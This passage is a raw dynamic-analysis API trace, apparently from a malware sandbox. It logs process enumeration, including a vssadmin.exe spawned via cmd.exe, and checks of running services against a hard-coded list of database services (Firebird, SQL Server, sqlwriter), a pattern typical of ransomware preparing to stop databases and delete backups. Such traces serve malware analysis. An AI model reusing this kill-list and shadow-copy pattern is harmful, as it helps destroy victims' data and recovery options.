(lpString="spgagentservice.exe") returned 19 [0080.844] Process32NextW (in: hSnapshot=0x208, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0080.845] lstrlenW (lpString="utg2.exe") returned 8 [0080.845] Process32NextW (in: hSnapshot=0x208, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="faces gardening massage.exe")) returned 1 [0080.846] lstrlenW (lpString="faces gardening massage.exe") returned 27 [0080.846] Process32NextW (in: hSnapshot=0x208, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="forbidden exhibits fireplace.exe")) returned 1 [0080.847] lstrlenW (lpString="forbidden exhibits fireplace.exe") returned 32 [0080.847] Process32NextW (in: hSnapshot=0x208, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="intendedreceivedchick.exe")) returned 1 [0080.848] lstrlenW (lpString="intendedreceivedchick.exe") returned 25 [0080.848] Process32NextW (in: hSnapshot=0x208, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="achieve.exe")) returned 1 [0080.848] lstrlenW (lpString="achieve.exe") returned 11 [0080.849] Process32NextW (in: hSnapshot=0x208, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="harvard.exe")) returned 1 [0080.850] lstrlenW (lpString="harvard.exe") returned 11 [0080.850] Process32NextW (in: hSnapshot=0x208, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0080.851] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0080.851] Process32NextW (in: hSnapshot=0x208, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0080.852] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0080.852] Process32NextW (in: hSnapshot=0x208, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0080.853] lstrlenW (lpString="taskhost.exe") returned 12 [0080.853] Process32NextW (in: hSnapshot=0x208, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mdskkv.exe")) returned 1 [0080.855] lstrlenW (lpString="mdskkv.exe") returned 10 [0080.855] Process32NextW (in: hSnapshot=0x208, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x600, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x5e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0080.856] lstrlenW (lpString="cmd.exe") returned 7 [0080.856] Process32NextW (in: hSnapshot=0x208, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0080.858] lstrlenW (lpString="conhost.exe") returned 11 [0080.858] Process32NextW (in: hSnapshot=0x208, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x600, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0080.859] lstrlenW (lpString="vssadmin.exe") returned 12 [0080.859] Process32NextW (in: hSnapshot=0x208, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x600, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0080.860] CloseHandle (hObject=0x208) returned 1 [0080.861] Sleep (dwMilliseconds=0x1f4) [0081.518] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x624d38 [0081.520] EnumServicesStatusExW (in: hSCManager=0x624d38, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0) returned 0 [0081.522] GetLastError () returned 0xea [0081.522] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x123e) returned 0x625020 [0081.522] EnumServicesStatusExW (in: hSCManager=0x624d38, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x625020, cbBufSize=0x123e, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x625020, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0) returned 1 [0081.524] CloseServiceHandle (hSCObject=0x624d38) returned 1 [0081.525] lstrlenW (lpString="Appinfo") returned 7 [0081.525] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0081.525] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0081.525] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0081.525] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0081.525] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0081.525] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0081.525] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0081.525] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0081.525] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0081.525] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0081.525] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0081.525] lstrlenW (lpString="AudioSrv") returned 8 [0081.526] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0081.526] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0081.526] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0081.526] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0081.526] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0081.526] lstrlenW (lpString="BFE") returned 3 [0081.526] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0081.526] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0081.526] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0081.526] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0081.526] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0081.526] lstrlenW (lpString="CryptSvc") returned 8 [0081.526] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0081.526] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0081.526] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0081.526] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0081.526] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0081.526] lstrlenW (lpString="CscService") returned 10 [0081.526] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0081.526] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0081.526] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0081.527] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0081.527] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0081.527] lstrlenW (lpString="DcomLaunch") returned 10 [0081.527] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0081.527] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0081.527] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0081.527] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0081.527] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0081.527] lstrlenW (lpString="Dhcp") returned 4 [0081.527] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0081.527] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0081.527] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0081.527] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0081.527] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0081.527] lstrlenW (lpString="Dnscache") returned 8 [0081.527] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0081.527] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0081.527] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0081.527] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0081.527] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0081.528] lstrlenW (lpString="DPS") returned 3 [0081.528] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0081.528] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0081.528] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0081.528] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0081.528] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0081.528] lstrlenW (lpString="eventlog") returned 8 [0081.528] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0081.528] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0081.528] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0081.528] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0081.528] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0081.528] lstrlenW (lpString="EventSystem") returned 11 [0081.528] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0081.528] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0081.528] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0081.528] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0081.528] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0081.529] lstrlenW (lpString="gpsvc") returned 5 [0081.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0081.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0081.529] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0081.529] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0081.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0081.529] lstrlenW (lpString="iphlpsvc") returned 8 [0081.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0081.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0081.529] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0081.529] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0081.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0081.529] lstrlenW (lpString="LanmanServer") returned 12 [0081.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0081.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0081.529] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0081.529] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0081.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0081.530] lstrlenW (lpString="LanmanWorkstation") returned 17 [0081.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0081.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0081.530] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0081.530] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0081.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0081.530] lstrlenW (lpString="lmhosts") returned 7 [0081.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0081.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0081.530] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0081.530] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0081.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0081.530] lstrlenW (lpString="MMCSS") returned 5 [0081.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0081.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0081.530] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0081.530] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0081.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0081.531] lstrlenW (lpString="MpsSvc") returned 6 [0081.531] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0081.531] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0081.531] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0081.531] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0081.531] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0081.531] lstrlenW (lpString="Netman") returned 6 [0081.531] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0081.531] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0081.531] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0081.531] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0081.531] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0081.531] lstrlenW (lpString="netprofm") returned 8 [0081.531] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0081.531] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0081.531] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0081.531] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0081.531] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0081.531] lstrlenW (lpString="NlaSvc") returned 6 [0081.532] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0081.532] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0081.532] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0081.532] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0081.532] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0081.532] lstrlenW (lpString="nsi") returned 3 [0081.532] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0081.532] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0081.532] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0081.532] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0081.532] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0081.532] lstrlenW (lpString="PcaSvc") returned 6 [0081.532] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0081.532] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0081.532] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0081.532] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0081.532] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0081.532] lstrlenW (lpString="PlugPlay") returned 8 [0081.532] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0081.532] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0081.533] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0081.533] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0081.533] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0081.533] lstrlenW (lpString="Power") returned 5 [0081.533] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0081.533] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0081.533] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0081.533] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0081.533] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0081.533] lstrlenW (lpString="ProfSvc") returned 7 [0081.533] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0081.533] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0081.533] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0081.533] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0081.533] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0081.533] lstrlenW (lpString="RpcEptMapper") returned 12 [0081.533] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0081.533] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0081.533] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0081.533] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0081.533] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0081.534] lstrlenW (lpString="RpcSs") returned 5 [0081.534] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0081.534] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0081.534] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0081.534] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0081.534] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0081.534] lstrlenW (lpString="SamSs") returned 5 [0081.534] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0081.534] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0081.534] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0081.534] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0081.534] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0081.534] lstrlenW (lpString="Schedule") returned 8 [0081.534] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0081.534] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0081.534] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0081.534] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0081.534] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0081.534] lstrlenW (lpString="SENS") returned 4 [0081.534] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0081.534] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0081.534] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0081.534] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0081.535] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0081.535] lstrlenW (lpString="ShellHWDetection") returned 16 [0081.535] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0081.535] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0081.535] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0081.535] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0081.535] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0081.535] lstrlenW (lpString="Spooler") returned 7 [0081.535] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0081.535] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0081.535] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0081.535] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0081.535] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0081.535] lstrlenW (lpString="SysMain") returned 7 [0081.535] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0081.536] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0081.536] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0081.536] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0081.536] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0081.536] lstrlenW (lpString="Themes") returned 6 [0081.536] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0081.536] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0081.536] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0081.536] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0081.536] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0081.536] lstrlenW (lpString="TrkWks") returned 6 [0081.536] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0081.536] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0081.536] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0081.536] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0081.536] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0081.536] lstrlenW (lpString="UxSms") returned 5 [0081.536] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0081.536] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0081.537] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0081.537] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0081.537] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0081.537] lstrlenW (lpString="VSS") returned 3 [0081.537] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0081.537] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0081.537] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0081.537] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0081.537] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0081.537] lstrlenW (lpString="WdiServiceHost") returned 14 [0081.537] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0081.537] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0081.537] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0081.537] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0081.537] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0081.537] lstrlenW (lpString="WdiSystemHost") returned 13 [0081.537] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0081.537] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0081.537] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0081.537] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0081.537] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0081.538] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0081.538] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0081.538] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0081.538] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0081.538] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0081.538] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0081.538] lstrlenW (lpString="Winmgmt") returned 7 [0081.538] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0081.538] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0081.538] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0081.538] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0081.538] 